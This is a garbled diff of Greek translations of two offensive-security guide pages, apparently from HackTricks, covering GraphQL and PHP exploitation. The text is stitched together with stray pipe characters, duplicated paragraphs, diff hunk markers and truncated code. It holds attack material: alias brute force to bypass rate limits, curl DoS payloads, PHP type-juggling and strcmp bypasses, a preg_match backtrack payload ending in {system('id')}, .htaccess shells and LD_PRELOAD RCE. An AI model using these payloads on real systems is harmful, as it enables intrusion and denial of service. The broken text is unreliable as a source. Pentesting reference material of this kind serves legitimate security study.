Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP requests**. Ωστόσο, αυτοί οι περιοριστές ρυθμού μπορεί να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλαπλών ερωτημάτων σε ένα μόνο HTTP request, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
|
||||||
|
|
||||||
Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτούν οι κωδικοί έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP request, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
|
Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτούν οι κωδικοί έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP request, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
|
||||||
```bash
|
```bash
|
||||||
@ -490,7 +490,7 @@ valid
|
|||||||
|
|
||||||
### Alias Overloading
|
### Alias Overloading
|
||||||
|
|
||||||
**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διαχειριστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1.000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διαχειριστή να το υπολογίσει 1.000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
|
**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διακομιστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διακομιστή να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
|
||||||
```graphql
|
```graphql
|
||||||
# Test provided by https://github.com/dolevf/graphql-cop
|
# Test provided by https://github.com/dolevf/graphql-cop
|
||||||
curl -X POST -H "Content-Type: application/json" \
|
curl -X POST -H "Content-Type: application/json" \
|
||||||
@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \
|
|||||||
|
|
||||||
### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες**
|
### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες**
|
||||||
|
|
||||||
**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλαπλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
|
**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
|
||||||
```graphql
|
```graphql
|
||||||
# Test provided by https://github.com/dolevf/graphql-cop
|
# Test provided by https://github.com/dolevf/graphql-cop
|
||||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||||
@ -539,7 +539,7 @@ curl -X POST \
|
|||||||
|
|
||||||
### **Ευπάθεια Διπλασιασμού Πεδίου**
|
### **Ευπάθεια Διπλασιασμού Πεδίου**
|
||||||
|
|
||||||
**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναληπτικά για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
|
**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναλαμβανόμενα για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
|
||||||
```bash
|
```bash
|
||||||
# Test provided by https://github.com/dolevf/graphql-cop
|
# Test provided by https://github.com/dolevf/graphql-cop
|
||||||
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
|
||||||
@ -553,12 +553,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
|||||||
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Δοκιμάστε κοινές κακές ρυθμίσεις των graphql endpoints
|
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Δοκιμάστε κοινές κακές ρυθμίσεις των graphql endpoints
|
||||||
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση παρτίδων GraphQL ερωτημάτων και μεταλλάξεων.
|
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση παρτίδων GraphQL ερωτημάτων και μεταλλάξεων.
|
||||||
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνωρίστε το graphql που χρησιμοποιείται
|
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνωρίστε το graphql που χρησιμοποιείται
|
||||||
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με brute force και να βρει διαδρομές σε έναν δεδομένο τύπο.
|
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο.
|
||||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [Burp extension](https://github.com/doyensec/inql).
|
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [Burp extension](https://github.com/doyensec/inql).
|
||||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για την αυτοματοποίηση επιθέσεων
|
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για να αυτοματοποιήσει επιθέσεις: `python3 graphqlmap.py -u http://example.com/graphql --inject`
|
||||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**.
|
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**.
|
||||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL
|
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL
|
||||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέτη**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού.
|
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension ή σενάριο python για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού: `python3 inql.py -t http://example.com/graphql -o output.json`
|
||||||
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων.
|
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων.
|
||||||
|
|
||||||
### Πελάτες
|
### Πελάτες
|
||||||
|
|||||||
@ -37,7 +37,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
|
|||||||
- `"0e3264578" == 0 --> True` Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0
|
- `"0e3264578" == 0 --> True` Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0
|
||||||
- `"0X3264578" == 0X --> True` Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0
|
- `"0X3264578" == 0X --> True` Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0
|
||||||
- `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτό το φορμά εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
- `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτό το φορμά εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||||
- `"X" == 0 --> True` Οποιοδήποτε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0
|
- `"X" == 0 --> True` Κάθε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0
|
||||||
|
|
||||||
Περισσότερες πληροφορίες στο [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
Περισσότερες πληροφορίες στο [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
||||||
|
|
||||||
@ -60,11 +60,11 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
|
|||||||
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||||
// Real Password
|
// Real Password
|
||||||
```
|
```
|
||||||
Το ίδιο σφάλμα συμβαίνει με το `strcasecmp()`
|
Η ίδια σφάλμα συμβαίνει με το `strcasecmp()`
|
||||||
|
|
||||||
### Αυστηρός τύπος Juggling
|
### Αυστηρός τύπος Juggling
|
||||||
|
|
||||||
Ακόμα και αν το `===` **χρησιμοποιείται**, μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**:
|
Ακόμα και αν το `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**:
|
||||||
```php
|
```php
|
||||||
(int) "1abc" === (int) "1xyz" //This will be true
|
(int) "1abc" === (int) "1xyz" //This will be true
|
||||||
```
|
```
|
||||||
@ -115,12 +115,12 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
|
|||||||
[Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\
|
[Αυτή η συζήτηση στο Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) συνδέθηκε επίσης στην ανάρτηση όπου συζητείται πιο αναλυτικά αυτό το ζήτημα. Η αποστολή μας ήταν τώρα σαφής:\
|
||||||
**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
|
**Στείλτε μια είσοδο που θα κάνει την κανονική έκφραση να εκτελέσει 100_000+ αναδρομές, προκαλώντας SIGSEGV, κάνοντάς την `preg_match()` να επιστρέψει `false`, κάνοντάς την εφαρμογή να πιστεύει ότι η είσοδός μας δεν είναι κακόβουλη, ρίχνοντας την έκπληξη στο τέλος του payload κάτι σαν `{system(<verybadcommand>)}` για να αποκτήσουμε SSTI --> RCE --> flag :)**.
|
||||||
|
|
||||||
Λοιπόν, με όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
|
Λοιπόν, σε όρους regex, στην πραγματικότητα δεν κάνουμε 100k "αναδρομές", αλλά μετράμε "βήματα οπισθοχώρησης", τα οποία όπως δηλώνει η [τεκμηρίωση PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) προεπιλέγεται σε 1_000_000 (1M) στη μεταβλητή `pcre.backtrack_limit`.\
|
||||||
Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
|
Για να φτάσουμε σε αυτό, `'X'*500_001` θα έχει ως αποτέλεσμα 1 εκατομμύριο βήματα οπισθοχώρησης (500k προς τα εμπρός και 500k προς τα πίσω):
|
||||||
```python
|
```python
|
||||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||||
```
|
```
|
||||||
### Type Juggling για την παραπλάνηση PHP
|
### Type Juggling για την απόκρυψη PHP
|
||||||
```php
|
```php
|
||||||
$obfs = "1"; //string "1"
|
$obfs = "1"; //string "1"
|
||||||
$obfs++; //int 2
|
$obfs++; //int 2
|
||||||
@ -153,16 +153,17 @@ Check:
|
|||||||
|
|
||||||
## More tricks
|
## More tricks
|
||||||
|
|
||||||
- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να έχετε πρόσβαση σε αυτή μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
|
- **register_globals**: Στο **PHP < 4.1.1.1** ή αν είναι κακώς ρυθμισμένο, το **register_globals** μπορεί να είναι ενεργό (ή η συμπεριφορά του να μιμείται). Αυτό σημαίνει ότι σε παγκόσμιες μεταβλητές όπως το $\_GET αν έχουν μια τιμή π.χ. $\_GET\["param"]="1234", μπορείτε να την αποκτήσετε μέσω του **$param. Επομένως, στέλνοντας HTTP παραμέτρους μπορείτε να αντικαταστήσετε μεταβλητές\*\* που χρησιμοποιούνται μέσα στον κώδικα.
|
||||||
- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να έχει πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
|
- Τα **PHPSESSION cookies του ίδιου τομέα αποθηκεύονται στην ίδια θέση**, επομένως αν μέσα σε έναν τομέα **χρησιμοποιούνται διαφορετικά cookies σε διαφορετικές διαδρομές** μπορείτε να κάνετε μια διαδρομή **να αποκτά πρόσβαση στο cookie της άλλης διαδρομής** ρυθμίζοντας την τιμή του cookie της άλλης διαδρομής.\
|
||||||
Με αυτόν τον τρόπο αν **και οι δύο διαδρομές έχουν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
|
Με αυτόν τον τρόπο αν **και οι δύο διαδρομές αποκτούν πρόσβαση σε μια μεταβλητή με το ίδιο όνομα** μπορείτε να κάνετε την **τιμή αυτής της μεταβλητής στη διαδρομή1 να ισχύει για τη διαδρομή2**. Και τότε η διαδρομή2 θα θεωρεί έγκυρες τις μεταβλητές της διαδρομής1 (δίνοντας στο cookie το όνομα που αντιστοιχεί σε αυτό στη διαδρομή2).
|
||||||
- Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.
|
- Όταν έχετε τα **ονόματα χρηστών** των χρηστών της μηχανής. Ελέγξτε τη διεύθυνση: **/\~\<USERNAME>** για να δείτε αν οι php κατάλογοι είναι ενεργοποιημένοι.
|
||||||
|
- Αν μια ρύθμιση php έχει **`register_argc_argv = On`** τότε οι παράμετροι ερωτήματος που χωρίζονται με κενά χρησιμοποιούνται για να γεμίσουν τον πίνακα των επιχειρημάτων **`array_keys($_SERVER['argv'])`** όπως αν ήταν **επιχειρήματα από το CLI**. Αυτό είναι ενδιαφέρον γιατί αν αυτή η **ρύθμιση είναι απενεργοποιημένη**, η τιμή του **πίνακα args θα είναι `Null`** όταν καλείται από το web καθώς ο πίνακας ars δεν θα γεμίσει. Επομένως, αν μια ιστοσελίδα προσπαθήσει να ελέγξει αν εκτελείται ως web ή ως εργαλείο CLI με μια σύγκριση όπως `if (empty($_SERVER['argv'])) {` ένας επιτιθέμενος θα μπορούσε να στείλει **παραμέτρους στο GET αίτημα όπως `?--configPath=/lalala`** και θα νομίζει ότι εκτελείται ως CLI και πιθανώς να αναλύσει και να χρησιμοποιήσει αυτά τα επιχειρήματα. Περισσότερες πληροφορίες στο [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms).
|
||||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||||
|
|
||||||
### password_hash/password_verify
|
### password_hash/password_verify
|
||||||
|
|
||||||
Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να **δημιουργούν κατακερματισμούς από κωδικούς πρόσβασης** και για να **ελέγχουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με έναν κατακερματισμό.\
|
Αυτές οι συναρτήσεις χρησιμοποιούνται συνήθως στο PHP για να **δημιουργούν κατακερματισμούς από κωδικούς πρόσβασης** και για να **ελέγχουν** αν ένας κωδικός πρόσβασης είναι σωστός σε σύγκριση με έναν κατακερματισμό.\
|
||||||
Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, **PASSWORD_BCRYPT** έχει έναν **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν:
|
Οι υποστηριζόμενοι αλγόριθμοι είναι: `PASSWORD_DEFAULT` και `PASSWORD_BCRYPT` (ξεκινά με `$2y$`). Σημειώστε ότι **PASSWORD_DEFAULT είναι συχνά το ίδιο με PASSWORD_BCRYPT.** Και αυτή τη στιγμή, το **PASSWORD_BCRYPT** έχει **περιορισμό μεγέθους στην είσοδο των 72bytes**. Επομένως, όταν προσπαθείτε να κατακερματίσετε κάτι μεγαλύτερο από 72bytes με αυτόν τον αλγόριθμο, μόνο τα πρώτα 72B θα χρησιμοποιηθούν:
|
||||||
```php
|
```php
|
||||||
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
||||||
False
|
False
|
||||||
@ -269,16 +270,16 @@ usort();}phpinfo;#, "cmp");
|
|||||||
|
|
||||||
Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
|
Αν μπορείτε να **ανεβάσετε** ένα **.htaccess**, τότε μπορείτε να **ρυθμίσετε** διάφορα πράγματα και ακόμη και να εκτελέσετε κώδικα (ρυθμίζοντας ότι τα αρχεία με επέκταση .htaccess μπορούν να **εκτελούνται**).
|
||||||
|
|
||||||
Διαφορετικά shells .htaccess μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
|
Διαφορετικά .htaccess shells μπορούν να βρεθούν [εδώ](https://github.com/wireghoul/htshells)
|
||||||
|
|
||||||
### RCE μέσω Env Variables
|
### RCE μέσω Env Variables
|
||||||
|
|
||||||
Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
|
Αν βρείτε μια ευπάθεια που σας επιτρέπει να **τροποποιήσετε τις env variables στο PHP** (και μια άλλη για να ανεβάσετε αρχεία, αν και με περισσότερη έρευνα ίσως αυτό μπορεί να παρακαμφθεί), θα μπορούσατε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να αποκτήσετε **RCE**.
|
||||||
|
|
||||||
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Αυτή η env variable σας επιτρέπει να φορτώνετε αυθαίρετες βιβλιοθήκες κατά την εκτέλεση άλλων δυαδικών αρχείων (αν και σε αυτή την περίπτωση μπορεί να μην λειτουργήσει).
|
||||||
